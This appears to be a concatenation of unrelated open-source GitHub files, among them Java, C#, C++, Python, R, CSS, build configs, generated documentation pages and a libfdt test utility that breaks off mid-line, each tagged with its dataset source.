package utils; /** * Created with IntelliJ IDEA. * User: Diego * Date: 17/11/13 * Time: 13:48 * This is a Java port from Tom Schaul's VGDL - https://github.com/schaul/py-vgdl */ public class CompetitionParameters { /** * Indicates if the OS is Windows. */ public static final boolean OS_WIN = System.getProperty("os.name").contains("Windows"); /* * Milliseconds allowed for controller's constructor. */ public static final int START_TIME = 1000; /** * Milliseconds allowed for controller initialization (per game played). */ public static final int INITIALIZATION_TIME = 1000; /** * Milliseconds allowed per controller action. */ public static final int ACTION_TIME = 40; /** * Milliseconds for controller disqualification, if it returns an action after this time. */ public static int ACTION_TIME_DISQ = 50; private static final int MILLIS_IN_MIN = 60*1000; /** * Maximum time allowed for a learning track game, equivalent of 5 minutes in milliseconds. */ public static final int TOTAL_LEARNING_TIME = 5*MILLIS_IN_MIN; //10*MILLIS_IN_MIN /** * Extra second for learning time, used in case the last game finished after TOTAL_LEARNING_TIME. */ public static final int EXTRA_LEARNING_TIME = 1000; //1 second. /** * Use sockets for Learning track connection? */ public static final boolean USE_SOCKETS = true; /** * Milliseconds allowed per controller action. */ public static final int SOCKET_PORT = 8080;//3000; public static String SCREENSHOT_FILENAME = "gameStateByBytes.png"; }
{ "pile_set_name": "Github" }
--- a/net/minecraft/util/datafix/fixes/EntityRename.java +++ b/net/minecraft/util/datafix/fixes/EntityRename.java @@ -19,8 +19,8 @@ } public TypeRewriteRule makeRule() { - TaggedChoiceType<String> taggedchoicetype = this.getInputSchema().findChoiceType(TypeReferences.field_211299_o); - TaggedChoiceType<String> taggedchoicetype1 = this.getOutputSchema().findChoiceType(TypeReferences.field_211299_o); + TaggedChoiceType<String> taggedchoicetype = (TaggedChoiceType<String>)this.getInputSchema().findChoiceType(TypeReferences.field_211299_o); + TaggedChoiceType<String> taggedchoicetype1 = (TaggedChoiceType<String>)this.getOutputSchema().findChoiceType(TypeReferences.field_211299_o); return this.fixTypeEverywhere(this.field_211313_a, taggedchoicetype, taggedchoicetype1, (p_209755_3_) -> { return (p_209150_4_) -> { String s = p_209150_4_.getFirst();
{ "pile_set_name": "Github" }
/* User login and signup forms */ .mw-ui-vform .mw-form-related-link-container { margin-bottom: 0.5em; text-align: center; } .mw-ui-vform .mw-secure { background: url( images/icon-lock.png ) no-repeat left center; margin: 0 0 0 1px; padding: 0 0 0 11px; } /* * When inside the VForm style, disable the border that Vector and other skins * put on the div surrounding the login/create account form. * Also disable the margin and padding that Vector puts around the form. */ .mw-ui-container #userloginForm, .mw-ui-container #userlogin { border: 0; margin: 0; padding: 0; } /* Reposition and resize language links, which appear on a per-wiki basis */ .mw-ui-container #languagelinks { margin-bottom: 2em; font-size: 0.8em; } /* Put some space under template's header, which may contain CAPTCHA HTML. */ section.mw-form-header { margin-bottom: 10px; } /* shuffled CAPTCHA */ #wpCaptchaWord { margin-top: 6px; } /* FIXME: These should be namespaced to mw-ext-confirmedit-fancycaptcha-, and really shouldn't be in core at all */ /* stylelint-disable-next-line selector-class-pattern */ .fancycaptcha-captcha-container { background-color: #f8f9fa; margin-bottom: 15px; border: 1px solid #c8ccd1; border-radius: 2px; padding: 8px; text-align: center; } .mw-createacct-captcha-assisted { display: block; margin-top: 0.5em; } /* Put a border around the fancycaptcha-image-container. */ /* stylelint-disable-next-line selector-class-pattern */ .fancycaptcha-captcha-and-reload { border: 1px solid #c8ccd1; border-radius: 2px 2px 0 0; /* Other display formats end up too wide */ display: table-cell; width: 270px; background-color: #fff; } /* stylelint-disable-next-line selector-class-pattern */ .fancycaptcha-captcha-container .mw-ui-input { margin-top: -1px; border-color: #c8ccd1; border-radius: 0 0 2px 2px; } /* Make the fancycaptcha-image-container full-width within its parent. */ /* stylelint-disable-next-line selector-class-pattern */ .fancycaptcha-image-container { width: 100%; }
{ "pile_set_name": "Github" }
"use strict"; var isImplemented = require("../../../../reg-exp/#/match/is-implemented"); module.exports = function (a) { a(isImplemented(), true); };
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <menu xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto"> <item android:id="@+id/search_ab_search" android:icon="@drawable/ic_search_light" android:title="@string/find_your_device_title" app:actionViewClass="android.widget.SearchView" app:showAsAction="always|collapseActionView" /> </menu>
{ "pile_set_name": "Github" }
# Copyright 2015-2016 Yelp Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from datetime import datetime import mock import pytest from pyramid.request import Request from pyramid.response import Response from paasta_tools.api.tweens import request_logger @pytest.fixture(autouse=True) def mock_clog(): with mock.patch.object(request_logger, "clog", autospec=True) as m: yield m @pytest.fixture(autouse=True) def mock_settings(): with mock.patch( "paasta_tools.api.settings.cluster", "a_cluster", autospec=False, ), mock.patch( "paasta_tools.api.settings.hostname", "a_hostname", autospec=False, ): yield @pytest.fixture def mock_handler(): return mock.Mock() @pytest.fixture def mock_registry(): reg = mock.Mock() reg.settings = {} yield reg reg.settings.clear() @pytest.fixture def mock_factory(mock_handler, mock_registry): mock_registry.settings = {"request_log_name": "request_logs"} yield request_logger.request_logger_tween_factory( mock_handler, mock_registry, ) def test_request_logger_tween_factory_init(mock_factory): assert mock_factory.log_name == "request_logs" @mock.patch("time.time", mock.Mock(return_value="a_time"), autospec=False) @mock.patch( "paasta_tools.utils.get_hostname", mock.Mock(return_value="a_hostname"), autospec=False, ) def test_request_logger_tween_factory_log(mock_clog, mock_factory): mock_factory._log( timestamp=datetime.fromtimestamp(1589828049), level="ERROR", additional_fields={"additional_key": "additional_value"}, ) assert mock_clog.log_line.call_args_list == [ mock.call( "request_logs", ( '{"additional_key": "additional_value", ' '"cluster": "a_cluster", ' '"hostname": "a_hostname", ' '"human_timestamp": "2020-05-18T18:54:09", ' '"level": "ERROR", ' '"unix_timestamp": 1589828049.0}' ), ), ] @mock.patch.object(request_logger, "datetime", autospec=True) @mock.patch( "traceback.format_exc", mock.Mock(return_value="an_exc_body"), autospec=False, ) @pytest.mark.parametrize( "status_code,exc,expected_lvl,extra_expected_response", [ (200, None, "INFO", {}), (300, None, "WARNING", {}), (400, None, "ERROR", {"body": "a_body"}), ( 500, Exception(), "ERROR", {"exc_type": "Exception", "exc_info": "an_exc_body"}, ), ], ) def test_request_logger_tween_factory_call( mock_datetime, mock_handler, mock_factory, status_code, exc, expected_lvl, extra_expected_response, ): req = Request.blank("/path/to/something") mock_handler.return_value = Response(body="a_body", status=status_code,) if exc is not None: mock_handler.side_effect = exc mock_factory._log = mock.Mock() mock_datetime.now = mock.Mock( side_effect=[datetime.fromtimestamp(0), datetime.fromtimestamp(57)], ) try: mock_factory(req) except Exception as e: if exc is None: pytest.fail(f"Got unexpected exception: {e}") expected_response = { "status_code": status_code, "response_time_ms": 57000.0, } expected_response.update(extra_expected_response) assert mock_factory._log.call_args_list == [ mock.call( timestamp=datetime.fromtimestamp(0), level=expected_lvl, additional_fields={ # most of these are default for a blank request "request": { "path": "/path/to/something", "params": {}, "client_addr": None, "http_method": "GET", "headers": {"Host": "localhost:80"}, }, "response": expected_response, }, ), ]
{ "pile_set_name": "Github" }
#!/usr/bin/env python import cgitb; cgitb.enable() print('Content-type: text/html\n') print(1/0) print('Hello, world!')
{ "pile_set_name": "Github" }
% Generated by roxygen2: do not edit by hand % Please edit documentation in R/release.R \name{release_gh} \alias{release_gh} \title{Create a new release on GitHub} \usage{ release_gh(bump = "dev", is_cran = bump != "dev") } \arguments{ \item{bump}{The bump increment, either "dev", "patch", "minor" or "major".} \item{is_cran}{Is this release a CRAN release?} } \description{ This must be done \strong{before} a CRAN release. } \details{ This function does the following: \itemize{ \item bump description. \item update default config in inst/ \item commit \item git tag \item run \code{inst/consistent-release-tag} hook with --release-mode (passing args to hooks not possible interactively, hence we run in advance). \item commit and push with skipping \code{inst/consistent-release-tag}. \item autoupdate own config file \item bump description with dev \item commit and push DESCRIPTION and .pre-commit-config.yaml } } \section{CRAN release}{ If \code{is_cran} is \code{TRUE}, the workflow is changed slightly: \itemize{ \item push to release branch, not master. \item doesn't run \code{\link[=release_complete]{release_complete()}}. This must be done manually after accepted on CRAN. } } \keyword{internal}
{ "pile_set_name": "Github" }
using System; namespace Org.BouncyCastle.Asn1.Esf { /// <remarks> /// <code> /// SigPolicyQualifierInfo ::= SEQUENCE { /// sigPolicyQualifierId SigPolicyQualifierId, /// sigQualifier ANY DEFINED BY sigPolicyQualifierId /// } /// /// SigPolicyQualifierId ::= OBJECT IDENTIFIER /// </code> /// </remarks> public class SigPolicyQualifierInfo : Asn1Encodable { private readonly DerObjectIdentifier sigPolicyQualifierId; private readonly Asn1Object sigQualifier; public static SigPolicyQualifierInfo GetInstance( object obj) { if (obj == null || obj is SigPolicyQualifierInfo) return (SigPolicyQualifierInfo) obj; if (obj is Asn1Sequence) return new SigPolicyQualifierInfo((Asn1Sequence) obj); throw new ArgumentException( "Unknown object in 'SigPolicyQualifierInfo' factory: " + obj.GetType().Name, "obj"); } private SigPolicyQualifierInfo( Asn1Sequence seq) { if (seq == null) throw new ArgumentNullException("seq"); if (seq.Count != 2) throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); this.sigPolicyQualifierId = (DerObjectIdentifier) seq[0].ToAsn1Object(); this.sigQualifier = seq[1].ToAsn1Object(); } public SigPolicyQualifierInfo( DerObjectIdentifier sigPolicyQualifierId, Asn1Encodable sigQualifier) { this.sigPolicyQualifierId = sigPolicyQualifierId; this.sigQualifier = sigQualifier.ToAsn1Object(); } public DerObjectIdentifier SigPolicyQualifierId { get { return sigPolicyQualifierId; } } public Asn1Object SigQualifier { get { return sigQualifier; } } public override Asn1Object ToAsn1Object() { return new DerSequence(sigPolicyQualifierId, sigQualifier); } } }
{ "pile_set_name": "Github" }
using System; using System.IO; namespace FluentNHibernate.Diagnostics { public class ConsoleOutputListener : IDiagnosticListener { readonly IDiagnosticResultsFormatter formatter; public ConsoleOutputListener() : this(new DefaultOutputFormatter()) {} public ConsoleOutputListener(IDiagnosticResultsFormatter formatter) { this.formatter = formatter; } public void Receive(DiagnosticResults results) { var output = formatter.Format(results); Console.WriteLine(output); } } public class FileOutputListener : IDiagnosticListener { readonly IDiagnosticResultsFormatter formatter; readonly string outputPath; public FileOutputListener(string outputPath) : this(new DefaultOutputFormatter(), outputPath) {} public FileOutputListener(IDiagnosticResultsFormatter formatter, string outputPath) { this.formatter = formatter; this.outputPath = outputPath; } public void Receive(DiagnosticResults results) { var output = formatter.Format(results); var outputDirectory = Path.GetDirectoryName(outputPath); if (string.IsNullOrEmpty(outputDirectory)) throw new ArgumentException("Output directory is invalid", "outputPath"); if (!Directory.Exists(outputDirectory)) Directory.CreateDirectory(outputDirectory); File.WriteAllText(outputPath, output); } } }
{ "pile_set_name": "Github" }
source "https://rubygems.org" gem 'uglifier' gem 'rake'
{ "pile_set_name": "Github" }
// RUN: %clang_cc1 -x objective-c++ -triple x86_64-apple-darwin10 -emit-llvm -fcxx-exceptions -fexceptions -fobjc-exceptions -o - %s | FileCheck %s extern "C" { int __objc_personality_v0(); } void *abuse_personality_func() { return (void *)&__objc_personality_v0; } void foo() { try { throw 0; } catch (int e) { return; } } // CHECK: define void @_Z3foov() {{#[0-9]+}} personality i8* bitcast (i32 ()* @__objc_personality_v0 to i8*)
{ "pile_set_name": "Github" }
using UnityEngine; using System.Collections; using System.Collections.Generic; using System; public class OvrAvatarBody : MonoBehaviour { public virtual void UpdatePose(float voiceAmplitude) { } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <grit latest_public_release="0" current_release="1"> <outputs> <output filename="grit/quota_internals_resources.h" type="rc_header"> <emit emit_type='prepend'></emit> </output> <output filename="quota_internals_resources.pak" type="data_package" /> </outputs> <release seq="1"> <includes> <include name="IDR_QUOTA_INTERNALS_MAIN_HTML" file="quota_internals/main.html" flattenhtml="true" allowexternalscript="true" type="BINDATA" /> <include name="IDR_QUOTA_INTERNALS_EVENT_HANDLER_JS" file="quota_internals/event_handler.js" type="BINDATA" /> <include name="IDR_QUOTA_INTERNALS_MESSAGE_DISPATCHER_JS" file="quota_internals/message_dispatcher.js" type="BINDATA" /> </includes> </release> </grit>
{ "pile_set_name": "Github" }
/* iCheck plugin Polaris skin ----------------------------------- */ .icheckbox_polaris, .iradio_polaris { display: inline-block; *display: inline; vertical-align: middle; margin: 0; padding: 0; width: 29px; height: 29px; background: url(polaris.png) no-repeat; border: none; cursor: pointer; } .icheckbox_polaris { background-position: 0 0; } .icheckbox_polaris.hover { background-position: -31px 0; } .icheckbox_polaris.checked { background-position: -62px 0; } .icheckbox_polaris.disabled { background-position: -93px 0; cursor: default; } .icheckbox_polaris.checked.disabled { background-position: -124px 0; } .iradio_polaris { background-position: -155px 0; } .iradio_polaris.hover { background-position: -186px 0; } .iradio_polaris.checked { background-position: -217px 0; } .iradio_polaris.disabled { background-position: -248px 0; cursor: default; } .iradio_polaris.checked.disabled { background-position: -279px 0; } /* Retina support */ @media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (-moz-min-device-pixel-ratio: 1.5), only screen and (-o-min-device-pixel-ratio: 3/2), only screen and (min-device-pixel-ratio: 1.5) { .icheckbox_polaris, .iradio_polaris { background-image: url([email protected]); -webkit-background-size: 310px 31px; background-size: 310px 31px; } }
{ "pile_set_name": "Github" }
#include "STDInclude.hpp" STEAM_IGNORE_WARNINGS_START namespace Steam { void GameServer::LogOn() { } void GameServer::LogOff() { } bool GameServer::LoggedOn() { return true; } bool GameServer::Secure() { return false; } SteamID GameServer::GetSteamID() { return SteamID(); } bool GameServer::SendUserConnectAndAuthenticate(unsigned int unIPClient, const void *pvAuthBlob, unsigned int cubAuthBlobSize, SteamID *pSteamIDUser) { return true; } SteamID GameServer::CreateUnauthenticatedUserConnection() { return SteamID(); } void GameServer::SendUserDisconnect(SteamID steamIDUser) { } bool GameServer::UpdateUserData(SteamID steamIDUser, const char *pchPlayerName, unsigned int uScore) { return true; } bool GameServer::SetServerType(unsigned int unServerFlags, unsigned int unGameIP, unsigned short unGamePort, unsigned short unSpectatorPort, unsigned short usQueryPort, const char *pchGameDir, const char *pchVersion, bool bLANMode) { return true; } void GameServer::UpdateServerStatus(int cPlayers, int cPlayersMax, int cBotPlayers, const char *pchServerName, const char *pSpectatorServerName, const char *pchMapName) { } void GameServer::UpdateSpectatorPort(unsigned short unSpectatorPort) { } void GameServer::SetGameType(const char *pchGameType) { } bool GameServer::GetUserAchievementStatus(SteamID steamID, const char *pchAchievementName) { return false; } void GameServer::GetGameplayStats() { } bool GameServer::RequestUserGroupStatus(SteamID steamIDUser, SteamID steamIDGroup) { return false; } unsigned int GameServer::GetPublicIP() { return 0; } void GameServer::SetGameData(const char *pchGameData) { } int GameServer::UserHasLicenseForApp(SteamID steamID, unsigned int appID) { return 0; } } STEAM_IGNORE_WARNINGS_END
{ "pile_set_name": "Github" }
// This file can be replaced during build by using the `fileReplacements` array. // `ng build --prod` replaces `environment.ts` with `environment.prod.ts`. // The list of file replacements can be found in `angular.json`. export const environment = { production: false }; /* * For easier debugging in development mode, you can import the following file * to ignore zone related error stack frames such as `zone.run`, `zoneDelegate.invokeTask`. * * This import should be commented out in production mode because it will have a negative impact * on performance if an error is thrown. */ // import 'zone.js/dist/zone-error'; // Included with Angular CLI.
{ "pile_set_name": "Github" }
set(CMAKE_CXX_FLAGS "-std=c++0x ${CMAKE_CXX_FLAGS}") set (SRCS http_parser.c httpclient.cpp httpconnection.cpp httpconnector.cpp httpparser.cpp httprequest.cpp httpresponse.cpp httpserver.cpp httputil.cpp wsclient.cpp wsconnection.cpp wsutil.cpp ) add_definitions(-DHTTP_PARSER_STRICT=0) include_directories(../) set(LIBRARY_OUTPUT_PATH ${CMAKE_BINARY_DIR}/lib) add_library(tnet_http ${SRCS}) target_link_libraries(tnet_http tnet) install(TARGETS tnet_http DESTINATION lib) set (HEADERS httpclient.h httpconnection.h http_parser.h httpparser.h httprequest.h httpresponse.h httpserver.h httputil.h tnet_http.h wsclient.h wsconnection.h ) install(FILES ${HEADERS} DESTINATION include/tnet/http)
{ "pile_set_name": "Github" }
from mido.messages.specs import SPEC_BY_STATUS from mido.messages.encode import encode_message from mido.messages.decode import decode_message def test_encode_decode_all(): """Encode and then decode all messages on all channels. Each data byte is different so that the test will fail if the bytes are swapped during encoding or decoding. """ data_bytes = [1, 2, 3] for status_byte, spec in SPEC_BY_STATUS.items(): if status_byte == 0xf0: msg_bytes = [0xf0] + data_bytes + [0xf7] else: msg_bytes = [status_byte] + data_bytes[:spec['length'] - 1] assert encode_message(decode_message(msg_bytes)) == msg_bytes
{ "pile_set_name": "Github" }
--- name: 🚀 Feature Request about: A suggestion for a new feature ✨ --- ### Feature Request #### Motivation Behind Feature <!-- Why should this feature be implemented? What problem does it solve? --> #### Feature Description <!-- Describe your feature request in detail --> <!-- Please provide any code examples or screenshots of what this feature would look like --> <!-- Are there any drawbacks? Will this break anything for existing users? --> #### Alternatives or Workarounds <!-- Describe alternatives or workarounds you are currently using --> <!-- Are there ways to do this with existing actions and plugins? -->
{ "pile_set_name": "Github" }
<!-- Generated by pkgdown: do not edit by hand --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Prepare for unpack or bind values into the calling environment. — [.Unpacker • wrapr</title> <!-- jquery --> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"></script> <!-- Bootstrap --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/css/bootstrap.min.css" integrity="sha256-bZLfwXAP04zRMK2BjiO8iu9pf4FbLqX6zitd+tIvLhE=" crossorigin="anonymous" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/js/bootstrap.min.js" integrity="sha256-nuL8/2cJ5NDSSwnKD8VqreErSWHtnEP9E7AySL+1ev4=" crossorigin="anonymous"></script> <!-- bootstrap-toc --> <link rel="stylesheet" href="../bootstrap-toc.css"> <script src="../bootstrap-toc.js"></script> <!-- Font Awesome icons --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/all.min.css" integrity="sha256-mmgLkCYLUQbXn0B1SRqzHar6dCnv9oZFPEC1g1cwlkk=" crossorigin="anonymous" /> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/v4-shims.min.css" integrity="sha256-wZjR52fzng1pJHwx4aV2AO3yyTOXrcDW7jBpJtTwVxw=" crossorigin="anonymous" /> <!-- clipboard.js --> <script src="https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.6/clipboard.min.js" integrity="sha256-inc5kl9MA1hkeYUt+EC3BhlIgyp/2jDIyBLS6k3UxPI=" crossorigin="anonymous"></script> <!-- headroom.js --> <script src="https://cdnjs.cloudflare.com/ajax/libs/headroom/0.11.0/headroom.min.js" integrity="sha256-AsUX4SJE1+yuDu5+mAVzJbuYNPHj/WroHuZ8Ir/CkE0=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/headroom/0.11.0/jQuery.headroom.min.js" integrity="sha256-ZX/yNShbjqsohH1k95liqY9Gd8uOiE1S4vZc+9KQ1K4=" crossorigin="anonymous"></script> <!-- pkgdown --> <link href="../pkgdown.css" rel="stylesheet"> <script src="../pkgdown.js"></script> <meta property="og:title" content="Prepare for unpack or bind values into the calling environment. — [.Unpacker" /> <meta property="og:description" content="Prepare for unpack or bind values into the calling environment. This makes pipe to behavior very close to assign to behavior for the Unpacker class." /> <!-- mathjax --> <script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js" integrity="sha256-nvJJv9wWKEm88qvoQl9ekL2J+k/RWIsaSScxxlsrv8k=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/config/TeX-AMS-MML_HTMLorMML.js" integrity="sha256-84DKXVJXs0/F8OTMzX4UR909+jtl4G7SPypPavF+GfA=" crossorigin="anonymous"></script> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body data-spy="scroll" data-target="#toc"> <div class="container template-reference-topic"> <header> <div class="navbar navbar-default navbar-fixed-top" role="navigation"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <span class="navbar-brand"> <a class="navbar-link" href="../index.html">wrapr</a> <span class="version label label-default" data-toggle="tooltip" data-placement="bottom" title="Released version">2.0.2</span> </span> </div> <div id="navbar" class="navbar-collapse collapse"> <ul class="nav navbar-nav"> <li> <a href="../index.html"> <span class="fas fa fas fa-home fa-lg"></span> </a> </li> <li> <a href="../reference/index.html">Reference</a> </li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false"> Articles <span class="caret"></span> </a> <ul class="dropdown-menu" role="menu"> <li> <a href="../articles/CornerCases.html">Corner Cases</a> </li> <li> <a href="../articles/DebugFnW.html">Debug Vignette</a> </li> <li> <a href="../articles/FrameTools.html">Frame Tools</a> </li> <li> <a href="../articles/Named_Arguments.html">Named Arguments</a> </li> <li> <a href="../articles/QuotingConcatinate.html">Quoting Concatinate</a> </li> <li> <a href="../articles/SubstitutionModes.html">Substitution Modes</a> </li> <li> <a href="../articles/bquote.html">bquote</a> </li> <li> <a href="../articles/dot_pipe.html">Dot Pipe</a> </li> <li> <a href="../articles/lambda.html">lambda Function Builder</a> </li> <li> <a href="../articles/let.html">Let</a> </li> <li> <a href="../articles/multi_assign.html">Multiple Assignment</a> </li> <li> <a href="../articles/named_map_builder.html">Named Map Builder</a> </li> <li> <a href="../articles/unpack_multiple_assignment.html">Multiple Assignment with unpack</a> </li> <li> <a href="../articles/wrapr_Eager.html">wrapr Eager Evaluation</a> </li> <li> <a href="../articles/wrapr_applicable.html">wrapr_applicable</a> </li> </ul> </li> <li> <a href="../news/index.html">Changelog</a> </li> </ul> <ul class="nav navbar-nav navbar-right"> <li> <a href="https://win-vector.com">Sponsor: Win-Vector LLC</a> </li> </ul> </div><!--/.nav-collapse --> </div><!--/.container --> </div><!--/.navbar --> </header> <div class="row"> <div class="col-md-9 contents"> <div class="page-header"> <h1>Prepare for unpack or bind values into the calling environment.</h1> <small class="dont-index">Source: <a href='https://github.com/WinVector/wrapr/blob/master/R/unpack.R'><code>R/unpack.R</code></a></small> <div class="hidden name"><code>sub-.Unpacker.Rd</code></div> </div> <div class="ref-description"> <p>Prepare for unpack or bind values into the calling environment. This makes pipe to behavior very close to assign to behavior for the Unpacker class.</p> </div> <pre class="usage"># S3 method for Unpacker [(wrapr_private_self, ...)</pre> <h2 class="hasAnchor" id="arguments"><a class="anchor" href="#arguments"></a>Arguments</h2> <table class="ref-arguments"> <colgroup><col class="name" /><col class="desc" /></colgroup> <tr> <th>wrapr_private_self</th> <td><p>object implementing the feature, wrapr::unpack</p></td> </tr> <tr> <th>...</th> <td><p>names of to unpack to (can be escaped with bquote <code>.()</code> notation).</p></td> </tr> </table> <h2 class="hasAnchor" id="value"><a class="anchor" href="#value"></a>Value</h2> <p>prepared unpacking object</p> </div> <div class="col-md-3 hidden-xs hidden-sm" id="pkgdown-sidebar"> <nav id="toc" data-toggle="toc" class="sticky-top"> <h2 data-toc-skip>Contents</h2> </nav> </div> </div> <footer> <div class="copyright"> <p>Developed by John Mount, Nina Zumel.</p> </div> <div class="pkgdown"> <p>Site built with <a href="https://pkgdown.r-lib.org/">pkgdown</a> 1.5.1.9000.</p> </div> </footer> </div> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Uses of Class org.apache.sysds.lops.DnnTransform (SystemDS 2.0.0-SNAPSHOT API)</title> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class org.apache.sysds.lops.DnnTransform (SystemDS 2.0.0-SNAPSHOT API)"; } } catch(err) { } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/apache/sysds/lops/DnnTransform.html" title="class in org.apache.sysds.lops">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-all.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/sysds/lops/class-use/DnnTransform.html" target="_top">Frames</a></li> <li><a href="DnnTransform.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h2 title="Uses of Class org.apache.sysds.lops.DnnTransform" class="title">Uses of Class<br>org.apache.sysds.lops.DnnTransform</h2> </div> <div class="classUseContainer">No usage of org.apache.sysds.lops.DnnTransform</div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/apache/sysds/lops/DnnTransform.html" title="class in org.apache.sysds.lops">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-all.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/sysds/lops/class-use/DnnTransform.html" target="_top">Frames</a></li> <li><a href="DnnTransform.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small>Copyright &#169; 2020 <a href="https://www.apache.org/">The Apache Software Foundation</a>. All rights reserved.</small></p> </body> </html>
{ "pile_set_name": "Github" }
/* * dumptrees - utility for libfdt testing * * (C) Copyright David Gibson <[email protected]>, IBM Corporation. 2006. * * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <libfdt.h> #include "testdata.h" static struct { void *blob; const char *filename; } trees[] = { #define TREE(name) { &name, #name ".dtb" } TREE(test_tree1), TREE(bad_node_char), TREE(bad_node_format), TREE(bad_prop_char), TREE(ovf_size_strings), TREE(truncated_property), TREE(truncated_string), TREE(truncated_memrsv), }; #define NUM_TREES (sizeof(trees) / sizeof(trees[0])) int main(int argc, char *argv[]) { int i; for (i = 0; i < NUM_TREES; i++) { void *blob = trees[i].blob; const char *filename = trees[i].filename; int size; int fd; int ret; size = fdt_totalsize(blob); printf("Tree \"%s\", %d bytes\n", filename, size); fd = open(filename, O_WRONLY | O_CREAT 